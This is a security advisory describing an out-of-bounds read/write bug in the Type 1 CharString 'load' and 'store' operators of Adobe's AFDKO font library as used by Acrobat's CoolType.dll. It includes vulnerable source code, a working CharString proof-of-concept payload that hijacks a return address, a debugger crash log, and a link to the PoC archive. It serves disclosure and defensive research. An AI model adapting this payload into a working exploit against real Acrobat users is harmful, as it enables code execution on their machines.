-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

We have recently discovered that parts of AFDKO are compiled in in Adobe's desktop software such as Adobe Acrobat. Within a single installation of Acrobat, we have found traces of AFDKO in four different libraries: acrodistdll.dll, Acrobat.dll, CoolType.dll and AdobePDFL.dll. According to our brief analysis, AFDKO is not used for font rasterization (there is a different engine for that), but rather for the conversion between font formats. For example, it is possible to execute the AFDKO copy in CoolType.dll by opening a PDF file with an embedded font, and exporting it to a PostScript (.ps) or Encapsulated PostScript (.eps) document. It is uncertain if the AFDKO copies in other libraries are reachable as an attack surface and how.

It is also interesting to note that the AFDKO copies in the above DLLs are much older than the latest version of the code on GitHub. This can be easily recognized thanks to the fact that each component of the library (e.g. the Type 1 Reader - t1r, Type 1 Writer - t1w, CFF reader - cfr etc.) has its own version number included in the source code, and they change over time. For example, CoolType's version of the "cfr" module is 2.0.44, whereas the first open-sourced commit of AFDKO from September 2014 has version 2.0.46 (currently 2.1.0), so we can conclude that the CoolType fork is at least about ~5 years old. Furthermore, the forks in Acrobat.dll and AdobePDFL.dll are even older, with a "cfr" version of 2.0.31.

Despite the fact that CoolType contains an old fork of the library, it includes multiple non-public fixes for various vulnerabilities, particularly a number of important bounds checks in read*() functions declared in cffread/cffread.c (e.g. readFDSelect, readCharset etc.). These checks were first introduced in CoolType.dll shipped with Adobe Reader 9.1.2, which was released on 28 May 2009. This means that the internal fork of the code has had many bugs fixed for the last 10 years, which are still not addressed in the open-source branch of the code. Nevertheless, we found more security vulnerabilities which affect the AFDKO used by CoolType, through analysis of the publicly available code. This report describes one such issue reachable through the Adobe Acrobat file export functionality.

-----=====[ Description ]=====-----

The "Type 2 Charstring Format" specification from 5 May 1998 introduced two storage operators: store and load, which were both deprecated in the next iteration of the specs in 2000. These operators were responsible for copying data between the transient array (also known as the BuildCharArray, or BCA) and the so-called "Registry object".

As the document stated:

"""
    The Registry provides more permanent storage for a number of items that have predefined meanings. The items stored in the Registry do not persist beyond the scope of rendering a font. Registry items are selected with an index, thus:

    0 Weight Vector
    1 Normalized Design Vector
    2 User Design Vector

    The result of selecting a Registry item with an index outside this list is undefined.
"""

The Type 1 CharString interpreter implemented in t1Decode() (c/public/lib/source/t1cstr/t1cstr.c) supports the load and store operators:

--- cut ---
  1450                      case t1_store:
  1451                          result = do_store(h);
  1452                          if (result)
  1453                              return result;
  1454                          continue;
[...]
  1470                      case t1_load:
  1471                          result = do_load(h);
  1472                          if (result)
  1473                              return result;
  1474                          continue;
--- cut ---

The do_store() and do_load() functions are as follows:

--- cut ---
   664  /* Select registry item. Return NULL on invalid selector. */
   665  static float *selRegItem(t1cCtx h, int reg, int *size) {
   666      switch (reg) {
   667          case T1_REG_WV:
   668              *size = T1_MAX_MASTERS;
   669              return h->aux->WV;
   670          case T1_REG_NDV:
   671              *size = T1_MAX_AXES;
   672              return h->aux->NDV;
   673          case T1_REG_UDV:
   674              *size = T1_MAX_AXES;
   675              return h->aux->UDV;
   676      }
   677      return NULL;
   678  }
   679
   680  /* Execute "store" op. Return 0 on success else error code. */
   681  static int do_store(t1cCtx h) {
   682      int size;
   683      int count;
   684      int i;
   685      int j;
   686      int reg;
   687      float *array;
   688
   689      CHKUFLOW(4);
   690
   691      count = (int)POP();
   692      i = (int)POP();
   693      j = (int)POP();
   694      reg = (int)POP();
   695      array = selRegItem(h, reg, &size);
   696
   697      if (array == NULL ||
   698          i < 0 || i + count + 1 >= TX_BCA_LENGTH ||
   699          j < 0 || j + count + 1 >= size)
   700          return t1cErrStoreBounds;
   701
   702      memcpy(&array[j], &h->BCA[i], sizeof(float) * count);
   703      return 0;
   704  }
   705
[...]
   736
   737  /* Execute "load" op. Return 0 on success else error code. */
   738  static int do_load(t1cCtx h) {
   739      int size;
   740      int count;
   741      int i;
   742      int reg;
   743      float *array;
   744
   745      CHKUFLOW(3);
   746
   747      count = (int)POP();
   748      i = (int)POP();
   749      reg = (int)POP();
   750      array = selRegItem(h, reg, &size);
   751
   752      if (i < 0 || i + count - 1 >= TX_BCA_LENGTH || count > size)
   753          return t1cErrLoadBounds;
   754
   755      memcpy(&h->BCA[i], array, sizeof(float) * count);
   756
   757      return 0;
   758  }
--- cut ---

While both routines try to enforce proper bounds of the indexes and lengths (lines 697-700 and 752-753), they miss one important corner case -- negative count. When a value smaller than 0 is specified for "count", many of the other sanity checks can be bypassed, and out-of-bounds read/write access can be triggered with a high degree of control over what is copied where. The condition is especially dangerous in x86 builds, where a controlled 32-bit index added to a memory pointer can address the entire process address space. At the time of this writing, Adobe Acrobat for Windows is available as a 32-bit build only.

To give an example, setting count to a value in the range of 0x80000000-0xbfffffff makes it possible to set the "sizeof(float) * count" expression evaluate to an arbitrary multiple of 4 (0, 4, 8, ..., 0xfffffff8), enabling us to copy any chosen number of bytes in lines 702 and 755. At the same time, the value is so small that it bypasses all checks where "i + count" and "j + count" are involved for i, j in the range of 0-0x3fffffff, which also enables us to refer to the entire address space relative to the referenced buffer.

To summarize, we can copy an arbitrary number of bytes between h->BCA[] and the registry arrays at arbitrary offsets, which is a powerful primitive. There is only one obstacle -- the fact that values on the interpreter stack are stored as 32-bit floats, which means they have a 23-bit mantissa. For this reason, it is impossible to precisely control the integer values of i, j and count, if they are in the order of 2^30 or 2^31. The granularity is 128 for numbers around 2^30 and 256 for numbers around 2^31, so for example it is impossible to set i to 0x3fffffff or count to 0x80000001; the closest values are 0x3fffff80/0x40000000 and 0x80000000/0x80000100, respectively. In practice, this means that we can only copy out-of-bounds memory in chunks of 512 bytes (4 * 128) or 1024 under specific conditions, and that we can only choose negative offsets relative to BCA/array which are divisible by 128. On the other hand, if we set count to a largely negative value (e.g. -1073741696), we can set i and j to fully controlled (small) positive numbers.

The h->BCA[] array is stored within the t1cCtx structure in the stack frame of the t1cParse() function. The registry arrays reside within t1cAuxData structures allocated on the heap. As a result, the vulnerability gives us out-of-bounds access to both the stack and heap. An attacker could target generic data in memory related to the control flow such as return addresses, or application-specific data inside t1cCtx/t1cAuxData, which also contain many sensitive fields such as function pointers etc.

As a side note, the do_load() routine doesn't verify that array != NULL, which may result in a) operating on an uninitialized "size" variable in line 752, and b) passing NULL as the source parameter to memcpy() in line 755.

-----=====[ Invalid memcpy_s usage ]=====-----

We also wanted to point out another interesting bug in AFDKO, which is not present in the GitHub repository but can be found in CoolType. The latter build of the code uses safe variants of many standard functions, such as memcpy_s() instead of memcpy(), vsprintf_s() instead of vsprintf() etc. The memcpy() call in do_store() was also converted to memcpy_s(), and currently looks like this in decompiled form:

--- cut ---
  memcpy_s(&array[j], 4 - 4 * j, (char *)h + 4 * i + 916, 4 * count);
--- cut ---

which can be translated to:

--- cut ---
  memcpy_s(&array[j], sizeof(array) - sizeof(float) * j, &h->BCA[i], sizeof(float) * count);
--- cut ---

Note the second argument, which is supposed to be the length of the buffer being copied to. Judging by the code the author meant to set it to the number of available bytes from element "j" to the end of the array, but used the sizeof(array) expression instead of the actual length stored in the "size" variable. In this case sizeof(array) is the size of a pointer and evaluates to 4 or 8, which is nowhere near the actual size of the array (16 or 64 depending on the register). Consequently, this bug effectively blocks access to the element at array[1] for j={0, 1}, and is incorrectly set to a huge unsigned value for j >= 2, rendering it ineffective.

Considering that the 2nd "destsz" memcpy_s argument is not supposed to be a security boundary but just a safety net, and proper sanitization of the i, j, count values should prevent any kind of out-of-bounds access, we don't consider this a separate vulnerability. We are reporting it here as FYI.

-----=====[ Proof of Concept ]=====-----

The proof of concept is a PDF file with an embedded Type 1 font, which includes the following payload in the CharString of the "A" character:

--- cut ---
     1  1621139584 134217728 div
     2  dup 0 put
     3  dup 1 put
     4  dup 2 put
     5  dup 3 put
     6  dup 4 put
     7  dup 5 put
     8  dup 6 put
     9  dup 7 put
    10  dup 8 put
    11  dup 9 put
    12  dup 10 put
    13  dup 11 put
    14  0 2 0 12 store
    15  0 67
    16  4096 4096 -64 mul mul 128 add
    17  load
    18  endchar
--- cut ---

A brief description:

- Line 1 constructs a float on the stack with a binary representation of 0x41414141
- Lines 2-13 copy this value to the BuildCharArray at indexes 0-11
- Line 14 copies the 12 values from BCA to the registry #0 starting with index #2 (due to the memcpy_s bug)
- Lines 15-17 call the "load" operator with arguments reg=0, i=67, count=0xc0000080 (-1073741696). This results in copying 0x200 (0xc0000080 * 4) bytes from registry #0 to &h->BCA[67], which points to the return address of the t2cParse() function on the stack.
- Line 18 uses the "endchar" operator to return from the interpreter and use the overwritten return address, crashing at address 0x41414141.

-----=====[ Crash logs ]=====-----

When the poc.pdf file is opened with Adobe Acrobat Pro and converted to a PostScript document via "File > Export To > (Encapsulated) PostScript", the following crash occurs in Acrobat.exe:

--- cut ---
(2b10.3acc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0d3993bc edx=00000200 esi=0daec260 edi=0d3992b8
eip=41414141 esp=0133a07c ebp=01000100 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210297
41414141 ??              ???
0:000> dd esp
0133a07c  41414141 41414141 41414141 41414141
0133a08c  41414141 41414141 41414141 41414141
0133a09c  41414141 41414141 41414141 0dfd96a0
0133a0ac  0dfd96a0 00000004 ffffffff 00000000
0133a0bc  00000001 66751a2a 00000000 d4385860
0133a0cc  94000400 801f0014 21ec2020 10693aea
0133a0dc  0008dda2 9d30302b 8071001e 00000000
0133a0ec  00000000 acc70000 32027007 d2aa11d1
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47259.zip